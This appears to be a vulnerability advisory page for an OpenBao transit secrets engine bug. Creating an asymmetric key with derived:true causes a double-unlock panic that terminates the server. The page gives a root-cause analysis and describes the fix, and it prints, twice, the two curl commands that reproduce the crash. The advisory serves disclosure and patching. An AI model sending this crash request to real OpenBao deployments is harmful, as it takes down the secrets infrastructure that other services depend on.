OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types
Description
On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to transit/keys/* can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric type (rsa-*, ecdsa-*, ed25519) with derived: true. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.
Mount the transit engine:
curl -sS -X POST -H "X-Vault-Token: root" \ -d '{"type":"transit"}' \ http://127.0.0.1:8200/v1/sys/mounts/transit
Trigger the crash:
curl -sS -w '\nHTTP %{http_code}\n' -X POST \ -H "X-Vault-Token: root" \ -H "Content-Type: application/json" \ -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \ http://127.0.0.1:8200/v1/transit/keys/some-key-name
You can try with both JSON or HCL It will crash the entire cluster.
Observed: HTTP 000 curl: (52) Empty reply from server
$ docker ps -a --filter name=openbao STATUS: Exited (2)
Root Cause (Hypothesis) Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When derived: true is supplied alongside an asymmetric type, the creation path likely panics on a missing derived-key field or invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit policy.go / key-creation path.
Suggested fix: Validate the (type, derived) combination at the top of the create-key handler. Reject with a 400 if derived: true is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305, xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Affected products
1Patches
Vulnerability mechanics
Root cause
"Missing mutex acquisition on the error path for asymmetric keys with `derived: true` causes a double-unlock panic in the Transit engine."
Attack vector
An authenticated caller with write access to `transit/keys/*` sends a single key-creation POST request that sets `"derived": true` alongside an asymmetric `type` such as `rsa-2048`, `ecdsa-p256`, or `ed25519` [ref_id=1]. The server returns no HTTP response (HTTP 000, empty reply) and exits with code 2. This is a remote, low-complexity denial-of-service that requires no special privileges beyond the ability to create transit keys.
Affected code
The crash occurs in the Transit engine's key-creation path (`pathPolicyWrite` in `builtin/logical/transit/path_keys.go`) and the underlying `GetPolicy` / `GetPolicyWithLockType` functions in `sdk/helper/keysutil/lock_manager.go`. When `derived: true` is combined with an asymmetric key type (e.g. `rsa-2048`), the code path that returns an error for unsupported key types does not properly acquire the policy mutex, leading to a double-unlock panic that terminates the server process.
What the fix does
The patch [patch_id=6640289] restructures the locking in `lock_manager.go` by introducing `GetPolicyExclusive` and `GetPolicyWithLockType`, ensuring that every returned policy is always locked before being handed to the caller. Previously, the error path for RSA/HMAC keys with `derived: true` called `cleanup()` (which unlocked the global lock) but did not acquire the policy's own lock, causing a later `p.Unlock()` in `pathPolicyWrite` to unlock an already-unlocked mutex — a panic. The fix also removes ad-hoc `p.Lock(...)` calls scattered across Transit handlers and centralizes lock acquisition inside `GetPolicyWithLockType`, preventing the double-unlock.
Preconditions
- authAuthenticated access to the transit engine with write permission on transit/keys/*
- configThe transit secrets engine must be mounted
- inputAttacker sends a POST request with derived:true and an asymmetric key type (rsa-*, ecdsa-*, ed25519)
Reproduction
Mount the transit engine:
``` curl -sS -X POST -H "X-Vault-Token: root" \ -d '{"type":"transit"}' \ http://127.0.0.1:8200/v1/sys/mounts/transit ```
Trigger the crash:
``` curl -sS -w '\nHTTP %{http_code}\n' -X POST \ -H "X-Vault-Token: root" \ -H "Content-Type: application/json" \ -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \ http://127.0.0.1:8200/v1/transit/keys/some-key-name ```
The server exits with code 2 and returns HTTP 000 / empty reply.
Generated on Jun 19, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
5News mentions
0No linked articles in our index yet.